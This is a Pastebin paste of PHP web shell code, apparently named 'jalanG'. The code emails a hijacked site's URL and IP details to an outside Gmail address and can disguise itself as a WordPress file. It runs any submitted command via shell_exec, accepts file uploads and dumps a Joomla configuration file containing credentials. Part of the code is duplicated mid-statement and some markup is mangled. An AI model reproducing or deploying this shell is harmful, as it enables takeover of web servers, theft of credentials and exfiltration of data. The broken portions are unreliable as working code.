Advertisement
Guest User

Untitled

a guest
Sep 17th, 2015
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.69 KB | None | 0 0
  1. <?php @ini_restore("disable_functions");
  2. if (!isset($_SESSION['bajak'])) {
  3. $visitcount = 0;
  4. $web = $_SERVER["HTTP_HOST"];
  5. $inj = $_SERVER["REQUEST_URI"];
  6. $body = "Shell Injector
  7. $web$inj";
  8. $safem0de = @ini_get('safe_mode');
  9. if (!$safem0de) {
  10. $security = "SAFE_MODE = OFF";
  11. } else {
  12. $security = "SAFE_MODE = ON";
  13. };
  14. $df = 'ini_get disable!';
  15. $serper = gethostbyname($_SERVER['SERVER_ADDR']);
  16. $injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
  17. mail("jalangsaya@gmail.com", "$body", "Shell Result http://$web$inj
  18. $security
  19. IP Server = $serper
  20. IP Injector= $injektor");
  21. mail("jalangsaya@gmail.com", "$body", "Shell Result http://$web$inj
  22. $security
  23. IP Server = $serper
  24. IP Injector= $injektor");
  25. $_SESSION['bajak'] = 0;
  26. } else {
  27. $_SESSION['bajak']++;
  28. };
  29. if (isset($_GET['clone'])) {
  30. $source = $_SERVER['SCRIPT_FILENAME'];
  31. $desti = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/wp-info.php";
  32. rename($source, $desti);
  33. }
  34. $safem0de = @ini_get('safe_mode');
  35. if (!$safem0de) {<?php @ini_restore("disable_functions");
  36. if (!isset($_SESSION['bajak'])) {
  37. $visitcount = 0;
  38. $web = $_SERVER["HTTP_HOST"];
  39. $inj = $_SERVER["REQUEST_URI"];
  40. $body = "Shell Injector
  41. $web$inj";
  42. $safem0de = @ini_get('safe_mode');
  43. if (!$safem0de) {
  44. $security = "SAFE_MODE = OFF";
  45. } else {
  46. $security = "SAFE_MODE = ON";
  47. };
  48. $df = 'ini_get disable!';
  49. $security = "SAFE_MODE : jalanG";
  50. } else {
  51. $security = "SAFE_MODE : BOSOK";
  52. }
  53. echo "<title>jalanG</title><br><br>";
  54. echo "<font size=2 color=#888888><b>" . $security . "</b><br>";
  55. $cur_user = "(" . get_current_user() . ")";
  56. echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
  57. echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>";
  58. echo "<font size=2 color=#888888><b>Disable Functions : ";
  59. $df = 'ini_get disable!';
  60. if ((@function_exists('ini_get')) && ('' == ($df = @ini_get('disable_functions')))) {
  61. echo "NONE";
  62. } else {
  63. echo "$df";
  64. }
  65. function pwd() {
  66. $cwd = getcwd();
  67. if ($u = strrpos($cwd, '/')) {
  68. if ($u != strlen($cwd) - 1) {
  69. return $cwd . '/';
  70. } else {
  71. return $cwd;
  72. };
  73. } elseif ($u = strrpos($cwd, '')){
  74. if($u!=strlen($cwd)-1){
  75. return $cwd.'';}
  76. else{return $cwd;};
  77. };
  78. }
  79. echo ' < formmethod = "POST"action = "" > < fontsize = 2color = #888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
  80. echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
  81. if (isset($_POST['submit'])) {
  82. $uploaddir = pwd();
  83. if (!$name = $_POST['newname']) {
  84. $name = $_FILES['userfile']['name'];
  85. };
  86. move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
  87. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) {
  88. echo "Upload Failed";
  89. } else {
  90. echo "Upload Success to " . $uploaddir . $name . " :D ";
  91. }
  92. }
  93. if (isset($_POST['command'])) {
  94. $cmd = $_POST['cmd'];
  95. echo "<pre><font size=3 color=#000000>" . shell_exec($cmd) . "</font></pre>";
  96. } else {
  97. echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>";
  98. }
  99. if (isset($_GET['baca'])) {
  100. $conf = file_get_contents("../../configuration.php");
  101. echo $conf;
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement